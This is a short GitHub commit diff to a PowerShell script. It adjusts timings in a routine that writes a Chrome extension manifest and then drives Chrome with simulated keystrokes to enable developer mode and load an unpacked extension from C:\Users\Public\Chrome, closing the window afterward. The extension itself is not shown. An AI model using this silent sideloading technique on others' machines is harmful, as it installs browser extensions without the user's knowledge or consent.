Update main.ps1

This commit is contained in:
egieb
2024-02-25 13:45:26 +00:00
committed by GitHub
parent b944c8077d
commit 1a8dc817b8

View File

@@ -139,17 +139,17 @@ $manifest | Out-File -FilePath "$DirPath/manifest.json" -Encoding utf8 -Force
# Send keys to manually open chrome and add extension
$wshell = New-Object -ComObject wscript.shell
Start-Process chrome.exe example.com
sleep 3
sleep 5
$wshell.AppActivate("chrome.exe")
$wshell.SendKeys("{TAB}") ;sleep -m 100
$wshell.SendKeys("{TAB}") ;sleep -m 100
$wshell.SendKeys("{TAB}") ;sleep -m 100
$wshell.SendKeys("chrome://extensions/") ;sleep -m 100
$wshell.SendKeys("{ENTER}") ;sleep 3
$wshell.SendKeys("{TAB}") ;sleep -m 100
$wshell.SendKeys(" ") ;sleep 2
$wshell.SendKeys("{TAB}") ;sleep -m 100
$wshell.SendKeys("{ENTER}") ;sleep 2
$wshell.SendKeys("{TAB}") ;sleep -m 100
$wshell.SendKeys(" ") ;sleep 1
$wshell.SendKeys("{TAB}") ;sleep -m 100
$wshell.SendKeys("{ENTER}") ;sleep 1
$wshell.SendKeys("C:\Users\Public\Chrome");sleep -m 100
$wshell.SendKeys("{ENTER}") ;sleep -m 200
$wshell.SendKeys("{BACKSPACE}") ;sleep -m 100
@@ -162,4 +162,4 @@ $wshell.SendKeys("%{F4}")
<#
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.SendKeys]::SendWait('%{F4}')
#>
#>